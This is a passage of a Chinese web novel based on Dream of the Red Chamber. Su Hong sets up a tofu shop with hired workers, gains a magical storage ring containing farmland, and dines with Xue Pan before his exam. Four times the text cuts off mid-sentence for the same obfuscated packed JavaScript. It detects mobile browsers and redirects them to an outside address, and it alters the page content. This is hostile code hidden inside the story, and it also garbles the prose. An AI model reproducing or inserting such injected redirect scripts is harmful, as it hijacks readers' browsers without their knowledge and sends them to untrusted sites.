牙人从抽屉里取出纸张，一边蘸墨写着，一边笑道：“就是兴化街头儿的一家，原本叫王家豆坊的，要价也是实诚价。要是爷拿定了主意要开豆腐坊，我这就带爷过去瞧瞧。东西一概都是齐全的，只缺伙计。虽说地方不好，但那一片都是卖菜卖肉的，不打紧。” 苏鸿笑道：“有这样巧合的事，自然是要去看看。契书拟好了就拿来吧，也喊他们进来说话。” 招工契书都是制式的，一式三份，只是主家、工钱和受雇的伙计不一样。风信见牙人写好了其他两项，便笑道：“主家就写甄老爷府上，上甄下费。” 牙人亦知富贵人家的规矩，也不多问，笑嘻嘻将契书拟好后就出去喊几人来画押。那五人便连忙进来，见是苏家的那位小爷，俱都惊讶不已。但也不敢多说什么，只唯唯请安。 愿意雇他们这些人，是人家富贵少爷的善心，他们断不敢上去攀关系。只是想到昨日被权贵人家的奴仆打伤却得了苏家少爷的怜悯，竟也凭着这份怜悯能混口饭，还是正经做伙计，都有种说不出来的滋味。 他们曾经也都是有地的，家里虽说不富裕，但也能挺直腰杆做人。现在沦落到这个地步，却因田产被权贵诬告陷害，至亲和族中人又落井下石。可谁知险些被饿死时，反而又是那些权贵太太们搭棚舍粥，才让他们勉强活下来。 他们一时竟然也不知该恨谁才好，又该向谁诉说冤屈。只是事到如今，他们不想、也不敢再计较什么，好死不如赖活着，万一时来运转了呢。 那五人神情胆怯中带着一丝希冀，穿着被打过补丁的衣裳，颤巍巍站成一排。 牙人当着众人的面念了契书，便招呼他们来画押。他们见是苏家，又有中人作保，即便不认得字，也都安心画押。风信见此事已完，便数了他们五人半月的工钱，牙人欢欢喜喜收了，又殷殷切切带他们去了兴化街。 两条街虽离得不远，看上去却似是天壤之别。先前的那条街大多是珠宝商行、当铺、古董行等富贵人家喜好来往的地方。这里却是不少杂货铺、食肆、木匠铺、菜市等，多为寻常人家来往。 苏鸿打量着，心下暗道地方确实一般，连街道都比方才的窄了不少，只是看着倒也热闹。到了铺子前，牙人为他们引见了管着这边铺子的赵牙人。赵牙人看上去微微发福，长着一双笑眼，看上去极为和善。 见有人给他介绍生意，他便乐呵呵上前寒暄，拿了钥匙将铺子打开。他滔滔不绝介绍着，带着众人将铺子前后都介绍一遍。苏鸿打量着，见前头摆货的地方也算宽敞，后头则是做豆腐的地方，带着一个小仓库可以放豆子。 除此之外，也有两三间空房，据牙人说是留给伙计们休息的。 苏鸿大致看了看，心里便已经满意了几分。他看向宣称会做豆腐的黑瘦男人，问道：“你叫什么？上前瞧瞧这些东西够不够使唤，有没有损坏的。” 那男人忙道：“小的叫刘大牛。”说完便赶紧上前去看做豆腐的物件儿，虽然都是用旧的东西，好在并未损坏，便也松了口气。只是看着旁边不知道做什么的东西，为难道：“做豆腐的都是好的，只是小的只会做豆腐，没做过其他的，不知道其他东西怎么样。” 说来惭愧，他们家做豆腐已经有三代了，也想学着旁人做豆干、腐竹等。谁知道做出来的东西虽能入口，却与市卖的不大一样，便也死了这条心。 苏鸿点头一笑，说道：“这不用你操心，先把豆腐做好。你既然愿意把家传的手艺教给他们，我也不干预。只是你们四个，学了人家的手艺就正经拜师，别做没良心的事。至少半年内不许另起炉灶，半年后就看续不续约了。” 几人连忙应下，只以为苏鸿是说半年后表现不好就不要他们了，马上保证会忠心东家，又连连说不会轻易把手艺外传。待要发誓时，苏鸿扬手制止，淡淡道：“你们不用与我保证，正经让师父立规矩。” 若是正干的人，有了这半年时间，怎么也该缓过来了。若是半年时间还是半死不活的模样，他也无能为力了。只盼着这个豆腐坊真的能给他们带来谋生的希望，别让他们被逼着走上不归路。 风信知其意，便上前向赵牙人询问价钱。赵牙人早听人说这主家刚雇了个会做豆腐的伙计，现在正是对豆腐坊兴致最高时。虽说按着规矩都要给主家留下还价的空间，但想着这主家看上去不像是有耐性磨缠价钱的。要是人跑了，他才要哭到嘴的鸭子飞了。 他便笑道：“爷是富贵人家出身，我不敢欺瞒。这里地段一般，但胜在地方宽敞，伙计们做工也便宜。而且前头主家做豆干、腐竹也有地方晾晒，爷也能寻摸方子来照着做。要价20两白银，爷尽管去问，是实在价了。” 这当然只是铺子钱，按着规矩，还有向牙行交的中人费和交给衙门的税钱。苏鸿今日敢过来，自然也是提前了解过许多，知道牙人并没有欺负他年纪小。风信会意，笑嘻嘻拉了赵牙人到一旁，二人叽叽咕咕一回，私下塞了些钱，赵牙人便做主免了部分中人费。 赵牙人见这主家懂事，便笑道：“既然这样，不如今日就到贵府去，签了契书后就去衙门过户给你们。这片儿没有我不知道的，您什么时候还要买铺子招伙计，只管找我，保管给爷办得妥妥当当的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285822|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷的伙计们就先留在这里收拾，不妨事。” 虽说到衙门过户也需要时间，但他们牙行里混的人，在衙门自然有相好的胥吏。到时候塞了钱过去，没有不成的。即便赚的少了点，但不少主家都喜欢他的麻利劲儿，下次买铺子买人还来找他，无形中赚了更多。 而且这铺子空着也是空着，让人早早收拾好了准备开业，也念他个好儿。说着又看向带他们过来的牙人，说了三两句便递了个红封儿过去，乐呵呵将人送走。 苏鸿闻言微微点头，倒是高看这赵牙人一层，怪不得能在这个行当里闯出名声。众人商议定了，苏鸿便留下府里地址，让伙计们先收拾铺子。又交代他们明日一早仍是来铺子这里，他派人过来添置东西。 刘大牛等连忙应下，苏鸿便道：“这是头一个月，看你们过得艰难，明日先把这个月工钱预支给你们。日后仍旧是月中结工钱，明日我会派掌柜的过来给你们讲清楚规矩，你们也认认人。” 众人闻言喜之不尽，满口应下。东家并未压价，他们普通伙计一月便有1.5两银子，会手艺的大牛哥则是每月2两。这是他该得的，众人也不嫉妒。工钱不少，何况常日在铺子里做工，又是吃食生意，东家自会准备干净衣裳，连着饭钱也包了。 刘大牛一边高兴，一边又暗暗盘算明日拿了银子回去给岳家，大小舅子也不至于再对他们说什么了。到时候攒攒钱，就能想办法在城里租个小房子，把老婆孩子接出来住着。众人或有老婆孩子，或有爹娘，见有法子养家糊口，又没有卖身给人，一时各个高兴。 苏鸿没想到置办产业的事这样快就起了头，不仅伙计招到了，连铺子也都盘下了。他想到从前在书上看过制豆腐、豆干、腐竹的法子，打算明日一早就去采购豆子，先试试刘大牛的水平，再看能否多做几样豆制品。 毕竟书上是写了做法没错，可谁知道写书人会不会有一二私心，藏了哪些话没有写出来。于寻常人家而言，有这个手艺就能自己做些小生意，也是一家的生活来源，自会有人遮遮掩掩，亦是人之常情。 等伙计们学会了，最少也要在铺子里干上半年，他至少能顾住成本。至于日后，伙计们学了手艺自立门户，走街串巷做买卖，总归是往好处走，他只有高兴的份。 苏鸿见时辰差不多了，契书等自有牙人跑腿儿，便带着风信先回府上，将今日之事细细禀告苏母。苏母听了价格，确实是如今的市价，便笑着赞道：“难为你，也没被人给哄骗了。快去告诉你伯父，别让他也为你悬着心。” 苏鸿便又去寻甄士隐，将雇佣的工人、铺子及日后打算细细告知了他。甄士隐见苏鸿虽未经世事，但行事并无太大差错，心中颇感安慰。只是又笑道：“民间有句俗话，世间三般苦，撑船、打铁、做豆腐，你道是为什么？” 19. 须弥宝戒 苏鸿一怔，忙道：“此话怎讲，请伯父教我。” 甄士隐捋着胡须笑道：“我在姑苏时，手下也有豆腐坊。他们做豆腐的，前一晚把豆子泡好，第二天凌晨一两点就要起来磨豆子。即便有驴子去磨，也得人看着添豆子。这是熬人的活计，不好做。” 寻常食肆匠坊，虽说也累人，但都不如这磨豆腐熬人。听鸿哥儿并未意识到，恐怕是那会做豆腐的伙计打定主意靠人力来磨，不敢让主家再出钱。如此来看，鸿哥儿看人的眼光确实不错，那些人也确实是困难极了，值得帮扶一把。 苏鸿垂头细想，也叹道：“多谢伯父提醒，我险些误事了。他们既身处困境，又愿意下苦力做工，我自不能辜负他们。明日就安排人去买驴子回来，我亲自去一趟，再试着做些其他豆制品。也跟他们说清楚，若做得好，年中算一次账，给他们发赏钱。” 他确实没想到，只是开一家小小的铺子，也有这么多想不到的细节。可见先人所言“绝知此事要躬行”是有理的。若不是伯父这样说，他怎么也想不到磨豆腐竟要凌晨就起来。再一细算，这些伙计住在铺子里还好，若是晚上回家去睡，岂不是没睡几个时辰就又要上工。 可若一直住在铺子，长期与家人分居，似乎也不是常法。 甄士隐笑道：“这样很好。你不必过于紧张，他们愿意留下也是实在困难。观察些时日，若铺子收益尚可，就给他们涨些工钱，发两身新衣。俗人所求，无非养活一家老小，他们肯出力，你也善待他们就是。” 甄士隐又想起惹得自己了悟的《好了歌》，当时遭遇磨难，心灰意冷，不免升起出世之心。可谁想峰回路转，如今贤妻幼女在身边，苏家又是知恩图报，让他也重拾信心。 于这些人而言，被诬告入狱、被抢夺田产，本就磨难重重。可如今却成了铺子里的伙计，不论是好是歹，总归能养活一家老小。若他们早早放弃，焉知还有今日的时来运转。还是民间俗语说得妙，好死不如赖活着。 苏鸿见甄士隐说着说着便陷入沉思，便悄悄退下。第二日一早，苏鸿便带着父亲安排给他的窦掌柜，一同到了豆腐坊。此时王氏豆坊的招牌已经被摘下放在一旁，里头也被打扫得锃光瓦亮，连一丝灰尘也不见。 窦掌柜进来，先打量了五个自家少爷招来的伙计，见虽然瘦了些，好歹眼神清亮。又想到他们有此遭遇，干活儿却这样麻利认真，心里不免更喜欢几分。 他请苏鸿坐了，先是细细盘问他们五人的来历姓名、会做什么，制了花名册。又带了一本册子，对着牙人送来的清单检查铺子中的物品是否齐全，一一登记。待看过铺子后，才回到苏鸿身边汇报。 不多时，送豆子、送铺盖、送驴子的人就接连上门，伙计们连忙上前接应，将送来的东西都安置好。一边忙着给牲口搭棚，一边心里直稀罕。便是刘大牛，虽知道驴子能拉磨，但家里也舍不得买，只管自己闷头干。 窦掌柜便道：“这铺盖是公中的东西，随你们用，只是不许带走。驴子每日好吃好喝伺候，要是有个万一，不是你们的责任还好，要是因为你们不精心伺候才让驴子没了，是要你们赔偿的。在这儿好好做工，工钱短不了你们。” 见伙计们面上带喜，才又道：“丑话说在前头，要是有偷奸耍滑的，我是不会看情面的。到时候辞退了，你们也无处求情告饶。但也有一桩，老爷和大爷吩咐，以后年中算账时，按着铺子的盈利给你们分赏钱。所以心里绷着根儿弦，得知道好歹，清楚了？” 五人连忙答应着，能让他们有个安生挣工钱的地方就行，别的他们也不敢挑剔。昨儿还听大牛哥说了做豆腐辛苦，但如今有了驴子，已经轻省许多了。现在地没了，一家老小也全指望他们正干，断不敢去偷奸耍滑。 窦掌柜也没把他们的话当真，日子久了，是忠是奸自然能看出来。他看向苏鸿，悄声询问还有什么要吩咐的没有。苏鸿才道：“大牛，今日才来了豆子，你先带着他们做一次，定下每人做什么。窦掌柜，日后他们都会了就轮换着来。” 众人都答应下来，刘大牛便让人去仓库把豆子抬出来，到后头把泡豆子的大缸又擦洗一遍把豆子泡上。刘大牛想着光泡豆子都要四个多时辰，不敢让主子在这里苦等，便连忙到前头回话。 苏鸿笑道：“不妨事，你趁着这时间跟他们说清楚要做什么，让他们心里有数。我昨儿也得了做其他豆制品的方子，等你教完他们也仔细学着，看能否做出来。” 说着就将昨日抄好的方子给了刘大牛，让他稍后给伙计们讲。 谁知刘大牛接过纸张却面露难色，小心翼翼道：“东家，小的不识字，看不懂这方子。” 苏鸿一怔，笑道：“窦掌柜，你帮着看看，给他解释清楚。” 他倒是不在意会不会被偷师，这原也不是什么金贵的方子，明晃晃写在书上，只是欺负常人不识字罢了。这样一想，若百姓识字倒也可以看些农书，见识见识旁人是怎么种地、浇水、施肥的。只是给百姓启蒙，听上去并非本朝那些老爷们会做的事。 苏鸿将这个念头压在心底，到特意给他收拾好的小隔间去休息。今日出来着急，也没想到还有闲工夫看书，现在倒有些无所事事。他想了想，歪在炕上闭目养神，实则暗暗关注脑海中的功德宝轮。 却见不知何时，宝轮中央的字样竟变成壹仟零贰拾，他也吓了一跳，随即去看自己早就看中的须弥宝戒还在不在。功德宝轮中能兑换的物品每年会随机更换一次，但距离他得到宝轮好多年了，其他的宝物都在变化，倒是须弥宝戒一直都在。 见须弥宝戒还在，自己又凑够了壹仟功德，苏鸿便抖着手按下宝物兑换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285823|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的按钮。他紧紧盯着眼前的宝轮，心中十分紧张。只见下一秒，宝轮中央金灿灿的功德似是被吸附一般流向那一扇圆弧，刹那间光芒大盛，苏鸿的魂体下意识闭紧了双眼。 待光芒渐渐微弱时，苏鸿才睁眼去看，只见自己面前悬浮着一只戒指。看其材质，非金非玉，通体泛着暖白，刻制着隐隐绰绰的金纹。他的心剧烈跳起来，深吸一口气接住眼前的戒指，将其戴在手上。 戴上之时，他只觉魂体都震了一下，隐隐感知到须弥宝戒的状态。他心念一动，只见戒指渐渐隐去，手指上留下一圈淡淡的金纹。他有些稀奇地翻来覆去查看，忽而想到什么，便将魂体探入戒指。 谁知戒指中，俨然另一幅天地。入目便是大片黑色的土地，上头杂七杂八不知种着些什么。往旁边一看，土地旁有着潺潺流动的溪水，清澈见底，只是不见鱼虫。苏鸿呆呆地看着眼前的世界，下意识揉了揉双眼，见天上甚至挂着一个太阳和一个月亮，心跳快到险些晕过去。 他蹲下，抖着手抓了把黑润的土。这触感是实实在在的，他甚至有泥土塞进指甲缝的错觉。他捧着泥土凑到鼻子边闻了闻，果然是带着泥土特有的香气，不由更是震惊。 佛经有云，千叶世界。苏鸿没想到这竟是真的，原来世界之下还有世界。虽说这个世界没有飞禽走兽，但这里有活水、有土地，甚至还有正在生长的树木花草，怎能说这世界是死寂之地？ 古语有云，神仙尽居三十三重天之外。仙师所在的空寂之地，想必亦是更高一重的世界。再一深想，如他们这个有人、有兽、有花草鱼虫乃至一切的活物、死物的世界，定不止一个。而仙师赐下的《石头记》，又是由谁书写的…… 苏鸿有些怔然，忽然有些理解为何会有人出家，情愿去修道、修佛。他只是微微窥见世界的一角，便也生出无限探寻之心，何况那些灵性甚高之人。他晃晃头，还是觉得不真实，悄悄咬自己一口，没想到尖锐的痛感却是从脑海中传出来的。 他一个激灵，彻底清醒过来。又兴冲冲跑到田里去看，但他也只能看出里头稀稀拉拉种了好几种粮食，勉强认出了水稻和麦子两种。虽想不明白这些习性不同的粮食究竟是怎么长到一起的，但想到此乃仙境，便未曾深究。 苏鸿将能探索的地方都看过，剩余被雾气遮盖的地方则未敢接近。他心中喜悦自不必说，须弥宝戒能装物还是小事，这片土地价值不可估量。作用未知的土地，随身携带的粮仓……他便是三岁小童也知道这意味着什么。 即便不想那些远的，这片土地这样大、这样油润，种出来的粮食恐怕比上用的碧粳米、胭脂米也不遑多让。可恨他现在竟不会耕种，等过些日子闲了，定要悄悄带些好种子来。 不光粮食，便是药材也可种上一些，说不得仙境中种出来的东西会有奇效。 20. 初成 且说窦掌柜见苏鸿安安分分去休息，心里也松了口气。他们家爷年纪还小，这做买卖的地方乱糟糟的，真怕被冲撞了。他安下心，吩咐伙计把铺子大门打开，又写了张告示贴在门上，写明本店何时开门迎客云云。 见这素日关门闭户的铺子里头有人忙活，便有好事者去问，一听也是经营豆腐的，就三三两两传话。不过半日，整条街都知道那家王氏豆坊有人接下，仍旧是做豆腐，后日就开业。 窦掌柜前前后后忙碌许久，刘大牛来禀告时他才想起来还有做豆腐一事。他一拍脑袋，马上道：“我去请爷们过来，你们后头预备着。” 做什么生意，主家虽不精通，好歹要心里有数。只有知晓大致流程，才知道该怎么安排人手。是以苏鸿早早就吩咐过，做豆腐时他要在旁观看。窦掌柜也只以为苏鸿对此感兴趣，便也不以为意。 他到了门前，见儿子在门口等着，就问道：“爷在里头待了四个时辰，就没出来？” 风信本呆坐着，见父亲过来连忙站起来。听到问话，才笑道：“是啊，爷吩咐不许打扰，他暂且休息下。是不是豆子泡好了，我去叫爷起来。” 窦掌柜冷哼一声，指着他脑袋压低声音道：“你个蠢出世的崽子，四个时辰，爷怎么坐得住。爷平常也白日睡觉来着？你也不放机灵点，家去取些书过来给大爷解闷，还在这里发呆。” 风信也不敢跟父亲顶嘴，心里却不以为意。他们爷素来是有事说事，若真需要看书解闷，哪怕去书铺临时买一本。既然不提，自然是不需要他多事。他爹还说他呢，他又不了解大爷的性情。 他转身进了屋，见苏鸿歪在炕上休息，忙轻声喊道：“爷，刘大牛说豆子泡好了，预备磨浆呢。” 苏鸿正查看着须弥宝戒，闻言便连忙睁开眼。他笑道：“那正好，去看看吧。” 风信转身出去，苏鸿才垂头看向右手，见果然在指根处看到一圈金纹才放下心。他仍旧不敢相信，这样只在话本里看过的宝物竟然真的到了他手中，甚至不用担心被人抢走。 这是何等滔天气运，实是令人意想不到之事。但想到攒了整整六年功德才得到须弥宝戒，似乎也是自己应得的。又想到须弥宝戒如此珍贵，其他的宝物虽不如它贵重，但应当亦是人间罕有。苏鸿不由暗暗下定决心积攒功德，早日换些其他宝物。 一边想着，苏鸿就见刘大牛已经给驴子上套，准备用驴子拉磨。窦掌柜见苏鸿一来他们都停了手里的活计，淡淡道：“东家过来，领头的停工去问候就行，旁人接着干。” 苏鸿一言不发，这是掌柜的教规矩，以后伙计们才懂得怎么行事，他不会掺和这些。他便微微点头，看向窦掌柜道：“让他们开始吧。先磨出豆浆来，分出几批，今日越性多试几种。” 窦掌柜应下，刘大牛虽不大会驱使牲畜，也试探着牵着驴子走几步。除了刚开始有些手忙脚乱，伙计们很快就适应过来，时不时添些水和豆子。不多时，就磨好几桶豆浆。 刘大牛教着其他伙计文火慢熬，加热豆浆。一时好几个小灶同时开火，众伙计围着灶稀罕不已。刘大牛亦是有悟性的，先是教着其他伙计如何制卤水、调比例，又对着其他几桶豆浆琢磨怎么才能做出腐竹、豆干、豆皮来。 苏鸿不懂这些，将方子给了他便任由他琢磨，也不掺和。冷眼看去，越发觉得刘大牛是个可塑之才，虽说不识字却能一点就透，最次也是个好匠人。若能将这个劲头往深处琢磨，读书识字不在话下，亦能触类旁通。 其他伙计现下看着也都老实肯干，胜在听话，倒也不辜负他给的这个机会。 作坊里热热闹闹，其他伙计们已经开始压豆腐，刘大牛也试着挑起豆膜，依次按着制作豆筋、腐竹、豆皮的要点制作。盘子里卷着豆筋，杆子上搭着腐竹，一旁还有数张豆膜压成的豆皮，豆香四溢，散发出粮食固有的清香。 苏鸿想着至少到明天才有结果，目光略过他们几人干瘦的身体和不断留下的汗水，转身和窦掌柜一起到前头去。他叮嘱道：“他们长时间忍饥挨饿，不能一次性大鱼大肉，但也循序渐进安排好伙食。干着活流汗多，也能煮一些绿豆水加些盐，补充一二。” 窦掌柜笑道：“好，让爷操心了，我等会儿就去办。天色不早了，爷也回家去，太晚了恐怕老爷太太担心。等这些做好了，就送到咱们府上，让老爷太太也高兴高兴。” 苏鸿点头笑道：“这样也好。我明日就不过来瞧了，一切窦大哥做主就是，真有不好了就来回我。” 他虽说请了三日假，也不能将时间都耗费在产业上，总归是该在家陪陪母亲的——虽说母亲也用不着他特意陪伴。母亲平日里不是和伯母刺绣针黹、理家，就是设计图样子，再或是去寻薛家伯母和薛妹妹看书闲聊。 这样更好，父亲和他都各自有事要忙，唯有母亲成日留在宅中。母亲有自己的事，有自己的爱好，亦是本该如此。 他对窦大没什么不放心的，窦大与父亲一同长大，府里的大多数产业都是他出面处理。他对待下人或工匠规矩严格，但一应工钱、赏钱乃至寻常三节的赏赐都是照实发放，不苛待下面人半点。 这亦与苏家赏钱的发放有关。苏家是决不许掌柜、伙计乃至家下人贪墨，一经发现，也不看他有多少体面，一律撵走。但与此同时，每年年末算总账，会从各项利润里抽三成出来做赏钱。分管各项的管事们分一成半，下头一成半就是伙计下人们分。 这样一来，不用管事账房伙计们费劲做假账串供，也不担心得来的钱来路不明不敢花。自苏母嫁进来二十多年下来，众人也就习惯了。如今他既然发话，窦大就一定会照规矩办。 苏鸿回家不久，窦大就差人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285824|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把新鲜豆腐送来，又说其他豆制品需要风干几天才行。当日，苏母就让厨房把豆腐做了，又让人把甄家夫妇和甄英莲请来。众人围着坐了一张圆桌，新鲜豆腐被厨房做出花儿来，众人一边吃一边赞，推杯换盏好不热闹。 苏鸿也有些醉了，被夸得脸色发红，醉眼惺忪。苏母瞧他不胜酒力，笑着把他搂住，抱怨道：“瞧瞧你，拉着孩子就灌酒，也不管他才多大。” 苏父乐得笑道：“他？在国子监偷着和同窗喝酒烤肉，哪里喝不了咱们的黄酒了。这臭小子就是经不住夸，装醉去了。你瞧，眼珠子还乱动呢。” 苏母定睛一看，果然跟苏鸿清亮的双眼对个正着。当即也掌不住笑了，把他推到一旁捶了一下，笑道：“你连母亲都哄，真是鬼精鬼精的。快给我坐正，好好陪你父亲喝，不然还要再捶你。” 苏鸿更觉不好意思，但见父亲和母亲开心，也只当彩衣娱亲一回。见英莲偷笑，他心里却不自在起来，生怕英莲把此事告知大妹妹，让大妹妹笑话他。 宴毕，苏鸿又同苏父和甄士隐细细说了今日之事，二人并未多说什么。在苏鸿这样的年纪，他已经考虑得很周全了，只是并未过多考虑人心二字。可再一细想，苏鸿要做这件事也并不是为利益，就算豆腐坊挣不了钱、伙计们带着手艺悄悄跑了，只要苏鸿问心无愧便罢。 他们对钱财二字虽不鄙薄，却也不会将其看得太过重要。何况以他们的人生经历来看，一时困顿似乎也不是什么要紧事。料想苏鸿敢把自己积攒多年的银钱投进去，也是早就想好退路了。 苏鸿犹豫再三，还是未将自己得到须弥宝戒的事告知父母。他并不担忧父母会生出不良之意，但这样的秘密一旦传出去并不是闹着玩的。这样关乎全家老小性命的秘密，自然是越少人知道越好。 须知隔墙有耳，锦衣府那样的本事，谁也不知道自家会不会在他们的监测范围之内。 当晚，苏鸿又在须弥宝戒中细细查探，试探着将物品收入、取出，又自己亲身进入。果然如臂使指，不过几个时辰就将须弥宝戒摸索透了。不止如此，还可以控制着让物品放置在固定地点，这样一来收纳物品就更为方便。 苏鸿心想，过些日子要去找个木匠铺子打一些货架、木柜，也好存放物品。自己也能将一些金银铜板藏在戒指中，日后若有万一，这也是条退路。 只可惜这戒指里不好叫外人进来，不然他也能请人在戒指中搭建房屋，闲暇时也可享受乡村野趣。但想到此处，苏鸿也不免摇头笑自己得陇望蜀。此等能种植、可随身携带的宝物本就不可多得，他还挑三拣四上了。 苏鸿放下那些不切实际的想法，打量着眼前的土地，规划着何处种些粮食、何处种些蔬果、何处种些药材。他激动的心情一时也停不下来，连看圣贤书都颇觉乏味，满心都是如何利用好须弥宝戒。 21. 劝说 除了豆腐坊刚开业时苏鸿关注过几次外，后续见每月都能有稳定的毛利交上来，便也放下心，全权交给窦掌柜操持。因窦掌柜也有许多铺子要照管，又见刘大牛踏实肯干，就认他当了徒弟，教他做账、认字，以备他不在铺子时刘大牛也独当一面。 刘大牛亦是妙人，每日不仅勤恳上工，稍有空闲便捧着师父给的书认字。也不必人督促，认了字就肯花几个钱到书铺，让掌柜的给他找些跟做豆腐有关的书来看。时日久了，越发琢磨出许多花样来，豆腐坊的生意也一日好过一日。 窦掌柜看在眼里，越发喜欢他。不过两年工夫，见他历练老成，就荐他与府上续了长约，提拔他做豆腐坊的掌柜。 这是后话，现下且说苏鸿，得了须弥宝戒便如得了活龙，每日不去看一眼就心里痒痒。他每月休息时就趁机到木匠铺中定制各式柜子，去砖窑厂买入一大批青砖，又去买了些常见的粮种、菜种，为此还特意租用了一间仓库。 因这周围都是用作仓库的房子，时常有工人进进出出，旁的仓库里负责看守的人也时常躲懒，因而无人发现这里只进不出。苏鸿每月装成小管事驾车来此收货，也无人在意。 只是收了一段时间后，他见各种材料都购置得差不多了，便斟酌着停手。一则是这些东西已经够他用上好久，二来，他攒下来的银子也被用了个精光，现在是彻底没有银钱出去采买了。 他不会搭建房屋，便只在戒指中寻了一块儿空地，简单将土地平整后垒上数层青砖。又将专门定制的木柜划分了区域摆在上头，里头放着各色物品。 至于那些粮种菜种，因他不会耕种，便特意划分了一块儿地，每隔一小段距离便撒些种子。他暗暗揣摩，既然水稻和小麦都能同时存活，这土地想来也不一般，暂且撒了种子看看情况便是。 略安分了一段时日后，他便寻上苏父，请求苏父帮他寻位擅长耕种的老农来教授他种植。苏父与苏母早就发现苏鸿这段时日一反常态的亢奋，但也只以为是开设豆腐坊一切顺利，小儿心潮澎湃而已，并未多想。 听他此言，只当他看了哪些圣贤书入了迷，也要效仿隐士自耕自种。苏鸿自小便孝顺懂事，极少让父母操心。这点小事，苏父、苏母岂有不答应的。 不过数日，苏母便命人将苏鸿隔壁的院子打通，改成土地用以耕种。苏父特意从庄子上寻了几位行家能手，平日就由他们耕种这一小块儿土地，待苏鸿回府休息就手把手教导他。 这几位老农岂有不愿的，这府里的地才一分而已，不仅累不着，还能赚些银钱贴补自家。东家少爷又每月只回来两日，亦非骄横跋扈之辈，教起来也不吃力。 因而，苏鸿整一年都不得空闲。在学里时白日捧着圣贤书攻读，晚上便在须弥宝戒中忙活。回了家就是各处给长辈请安，偶而去视察一下生意，剩余的时间全然跟着几位老农学习何时下种、何时浇水、何时收获等。 也亏得苏鸿素日皆以魂体进入须弥宝戒，身体得到了休息，不然以苏鸿这样连轴转，早就一命呜呼见祖父去了。即便如此，苏鸿每晚也会留出一个时辰好好休息，不然身体早就吃不消了。 直到临近五月，因乡试在即，国子监停课，苏鸿这才暂停忙碌的行程。在家不过几日就与相熟的同窗饯别，又要打点行装，准备南下。临行之际，苏鸿又到各处亲朋好友家拜访。 是日，薛蟠设宴为苏鸿饯别，苏鸿欣然赴宴。苏鸿先去给薛太太请安、问候宝钗，略坐了坐，闲聊两句即将回金陵参加乡试云云便连忙到前头去寻薛蟠。 倒并非他不愿意和薛太太、宝钗坐着。只是他们是未婚夫妻，见得时间长了恐怕有人说嘴。何况二人渐渐大了，思及婚约，都有些不自在。 苏鸿寻了薛蟠，见他正烧着酒，笑道：“师弟还有这样闲情雅致，今日亲自热酒？” 薛蟠见他过来，连忙笑道：“快坐快坐，这可是才得的好酒。大忙人可来了，这一年没见着你几次，你就又要往金陵去了。也罢也罢，我这朽木就等着你蟾宫折桂了。” 苏鸿也不见外，见薛蟠拿来热酒便喝了一碗，扬眉笑道：“果然是好酒，酒味香醇。你们家伙计也忒能了，这样的好东西也能挖过来。” 薛蟠笑道：“那是自然，各处买卖局想好好干，谁不巴结东家。” 酒过三巡，二人也叽叽咕咕闲聊起来。薛蟠才悄声骂道：“内府的那群人也太不是东西了，跟我们家也算老交情了，纵然我父亲没了，还有我叔叔在。谁知道给妹妹办个罢选，我塞了一千两还嫌不足，又打发人来给我要了二百两拿去。” 这世道，捐个五品官也才一千多两。他不过想着素日的交情，也不肯计较多寡，特特拿了一千两。谁知道拿起子贪心的，又给他要了二百两。 苏鸿早听母亲说过此事，今年宝钗年满十三，正合前番圣旨征选才能的年纪。只是薛家早早打点上下，让宝钗应个景就回来了。 苏鸿对此并不意外，毕竟薛家本就富贵，寡母兄长又心疼宝钗，断不肯让她入宫去受罪。名义上是给公主、郡主做伴读，却比不得皇子伴读尊贵自由。既然占了女官的名分，干的就是伺候人的活，还要熬十几年才能出宫。 苏鸿听薛蟠所言微微蹙眉，没想到薛家叔父尚活着，王子腾和贾家又未倒，现在就有人暗地里给薛家使绊子了。但想到自家好师弟平日视金钱如粪土的做派，也拿不准是不是那些人贪财故意哄骗。 他揉了揉额角，说道：“若是你们家，拿出去几千两也算不了什么，最恨那些人看碟下菜、贪财势利的嘴脸。且别和他们硬来，如今这样混乱，打量着花银子买平安算了。” 内府专为皇家服务，虽说眼下在位的是今上，偏偏又有太上皇杵在上头。这父子俩的感情时好时坏，不知分别安插了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 